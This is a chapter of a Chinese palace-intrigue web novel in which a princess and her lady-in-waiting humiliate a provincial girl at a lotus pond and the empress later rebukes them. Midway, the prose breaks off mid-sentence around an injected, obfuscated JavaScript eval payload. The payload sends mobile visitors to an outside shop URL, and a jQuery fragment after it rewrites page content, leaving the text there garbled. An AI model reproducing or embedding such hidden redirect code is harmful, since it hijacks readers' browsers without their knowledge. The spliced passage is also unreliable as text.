安生不了一会儿,李仙娥站起来说:“我要去昆仑池看芙蕖,你们谁要随我去?”
“我随公主去,接天莲叶无穷碧,正想见识一下呢。”说话之人叫王妙真,是皇后宫中的女官,样貌出色,很有文采。
皇后颔首道:“我儿的提议不错。时辰还早,留你们在这殿里怕是觉得无趣,便随她一道去吧。年纪大的夫人走不动,正好陪我说说话。”
众人还能说什么,只能顺从,各自行完礼后退出殿去。
屋外艳阳高照,那昆仑池旁也没个遮掩,一群女郎手中的扇子越舞越大。
蔡家缀在后头。许氏闲不住片刻,就要提及方才殿中之事。她幸灾乐祸道:“邵家老夫人这般威风,没成想还能有比公主还威风的。我早先听了一耳朵,听说驸马一月里连公主府都未见得去。公主不招,他如何能去。要我说啊,公主分明还惦记着三郎。”
“二叔母。”阿杏急着提醒。没见三叔母在么。
许氏尴尬地笑了笑不再讲,过了会儿又说:“三郎还是娶了郡主的好。不然今日鸡飞狗跳的就是咱家了。”
越氏叹气。哪儿至于,咱家阿翁一门心思巴结娘娘,公主来了,就是闹翻天,他也不会说上一句不是。
不消片刻功夫,众人一个个叫这日头晒的汗淋淋,脸上的妆都花的不成样子,都在想还不如殿里坐着。
李仙娥难道不想?她自家举着扇,眉目郁结,眼睛里都是不耐烦。可叫她这时打道回府,打的是自家的脸。再说,她可不想回去看那老妇的脸色。仗着自家功勋,便不将她这个公主放在眼里。可恨!
王妙真适时安抚道:“幸亏公主带我等来,不然见不到如此美景。书上说惟有绿荷红菡萏,卷舒开合任天然。果真是如此。”
许氏暗自撇嘴。显得她了。她家莫不是一脉相承,不然怎生同她祖母一般。就她会作诗,显得她们皆是庸才。
此事说来就话长了。王妙真出身琅琊王氏。曾祖官拜宰相,祖母曾是太皇太后身边最倚重的女官,出入宫闱,草拟敕书。甚至连军国大事,大皇太后都要问一问她的意见。
王家盛极一时。然而皇帝掌权后,她祖母便成了陛下的眼中钉。
皇帝赐死她后,太皇太后便一病不起。皇帝为彰孝心,又封了王妙真的阿耶做了个著作郎,还许王妙真入宫服侍太皇太后。王妙真因此才同公主有了交集。
太皇太后病逝后,宫人皆被遣去守陵。唯独王妙真因文采出众,被皇后留下处理文书草拟之事。
王妙真附和不稀奇,稀奇的是有个声音比她还要响。
“正是正是,我在太原可没见过这样好看的风景。”
众人看去,满头插着珠翠的刘莲娘,脸上的粉被汗冲的乱七八糟,黑的黑,白的白,还有黄黄的痕迹。
李仙娥有些恶心地皱了皱眉,旋即勾起唇角说:“哦?你没见过?”
刘莲娘受宠若惊连连点头。“是,是,没见过呢。”
“哦,那你近前来,我身边看的更好看。”
刘莲娘听话地走过去,将到的时候不知怎的突然向前扑过去。李仙娥往后退了一步。刘莲娘抱住桥上的柱头,惊魂未定。
“我,我的步摇!”她立马摸到自己的脑袋上。水里扑簌簌落下两根,正是她插在最前方的细金花步摇。
众人惊诧之余不免笑起来,不想她转头质问起王妙真。
“你为什么要踩我?”
王妙真吃惊道:“女郎在说什么?”
“就是你踩了我。”
“我哪里踩你了?女郎怎的随意污蔑人。分明是你自家没站稳。”
“就是你。只有你在我后面。”刘莲娘越说越觉得就是这样。“我的裙子被踩住了,不是你还能是谁?!”
王妙真挽着披帛,冷声道:“女郎切莫胡言。无缘无故我踩你作甚。”
“叽叽喳喳,吵的我头疼。”
刘莲娘听到这声音宛如找到了主心骨。“公主,真是她踩我。”
“她踩你作甚?你自家没站稳。还有,谁叫你戴这么多首饰的。你也不瞧瞧你那脑袋,噗嗤。”李仙娥捂嘴笑。“这么多首饰压的路都看不清了吧!哪里来的乡下村妇。”
“公主明鉴,不然我真是百口莫辩。”
刘莲娘嘴巴张着,到底明白了些,再看其他人,哪个不是用扇子掩着唇在笑。
“那个……你既然踩了她,许是不小心的,着人把步摇捞上来就是,实在不行自家赔给她也行啊。何苦如此?”
越氏看着身边出声的李圆珠,吓了一跳。不声不响的,怎的突然要上去蹚浑水。
“你说什么?!”李仙娥原先就憋着一股火,如今这人还敢跳出来。
王妙真执着扇,冷清清地站着,一幅傲雪寒梅的模样。“郡主为何要说这样的话?”
李圆珠钝钝地开口:“我见了你踩她。”
王妙真驳道:“郡主说见了就是见了?光凭郡主一面之词……”
阿杏低着脑袋道:“我,我也见了。”小姑娘扶着李圆珠,怕的手上用力,掐的李圆珠胳膊疼。
王妙真一副受了冤屈的样子,无奈道:“女郎为了帮郡主这样的谎话都讲得出来。自家偏袒就罢了,可不能随口污蔑人。我与她无怨无仇,为何要这样做。”
“我没有撒谎,你,你自家脚伸过去踩到她裙子上的。阿娘,你也见了。”阿杏慌了神,急着去找越氏。她们当时在另一边,看的一清二楚。
越氏虽觉懊恼,但不愿被这王妙真给数落了。她算个什么东西。
她上前几步,朝着李仙娥行了一礼,方对着王妙真道:“好叫女郎知晓,我家家训严苛,做不来这等污蔑人之事。我家这丫头不去说她,就是个憨直性子,看见什么便说什么,半分不懂变通。珠娘自小由庐陵王教导,王爷品性笃厚,便是陛下也是赞过的。”
“方才你说你与刘家女郎无怨无仇,何故如此。那我家与你难道有怨有仇?你既是踩了刘家女郎,珠娘也说了,许是不小心为之。自家赔了银钱,要么叫人捞上来,何苦狡辩。”
王妙真哭着去找李仙娥。“公主,我实在是百口莫辩。罢了,便就认下来。”
“不许!”李仙娥瞪着越氏、许氏、阿杏、李圆珠,她们如今是一家人了。她看着被阿杏小心扶着的人,生出嫉妒,那本该是属于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631647|206378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的。
她指着李圆珠道:“好!你既要做好人给刘家鸣不平,那便由你!来人,去牵条船来,叫我这堂姊自家去捞。”
“公主莫要胡来。”
“大嫂嫂如今也帮着她了,是了,你们才是一家人。”
阿杏急道:“叫宫人去捞就是,三叔母怀着身孕呢。”
刘莲娘先前被这一番弄的已是魂都快飘出宫了,闻言赶紧摆手道:“不必,不必,叫宫人来就好。”
话音未落,就被李仙娥狠狠甩了一耳光。
“公主......”她捂着脸声音颤抖,目光亦然。
李仙娥骂道:“都是你惹出来的事!滚回去将你这些不入流的首饰都卸干净了,真碍眼!”
回到未央宫,事情根本瞒不住。不说这么多双眼睛,就是事件中心的刘莲娘,根本没有藏事儿的功夫。她肿着半张脸,还有那花到不知哪儿去的妆容,坐到母亲张氏身边。
在场的人看的清清楚楚。
禀报的宫人退下,皇后对刘莲娘说:“莫伤心了。我年轻时啊也是如此,那时掉了一块玉佩,心疼的半夜里都睡不着。”
张氏看着宫人拿到眼前的折股钗,狠狠攥了下拳头,起身至殿中跪拜。
“好叫娘娘知晓。妾家中贫寒,早年关中大旱,家中几无隔夜之粮,几个弟弟饿死的饿死,病死的病死,就留下我夫婿一人。”
皇后蹙眉,道:“张夫人......”
“我家夫婿十二岁从军,不敢说立下汗马功劳,却是对的起朝廷的委任。我家皆是粗鄙武人,没见识过长安繁华,也没入过宫。如此大的阵仗,在我家乡必是要将家中最好的衣衫穿出来,不想今日竟是招了笑。”
“夫人何出此言。”有人试图解围,可她如何止得住,眼见着皇后的脸色越来越难看。公主打了人,那嘲笑奚落的话又从她口中出来。
皇后扫一眼李仙娥。她竟是满不在乎,只管瞧着自家手上的指甲,像是要看出花儿来。要知,那刘莲娘脸上可是一个大大的指印。她这指甲是淬了毒不成?
皇后耐下心道:“夫人先起来。蔡家的,赶紧将她扶起来。”
张氏却是铁了心。“我这女儿不懂事,是个眼孔浅的,却也是个实心眼。娘娘不怪她惹出事来,妾身已很是感激,怎好再拿赏赐。妾身这就带她家去,好好教训一番。”
张氏俯身一拜就要走。
眼见着无法收场,皇后身边的王妙真突然跪下道:“今日之事无论如何因真娘而起,请娘娘责罚,勿要扰了夫人们的兴致。”
皇后冷冰冰地睨下来,斥道:“正是你自家惹出来的事!还不赶紧滚去同刘家赔罪。”
刘莲娘已是噤若寒蝉,听着母亲跪在殿中说的那些话,忍不住泪盈眼眶,就见着方才还高高在上的女郎款款而来,在自家跟前低头赔罪。
“......还望女郎勿怪。”
刘莲娘晃过神便对上她有些怯,有些颤的眼神。她咬紧牙关,又恨又惧,一时没个反应。
直到母亲出声:“妾身不敢。今次惹出事来,请娘娘允妾带着女儿告退。她这番样子,不敢污了陛下与娘娘的眼。”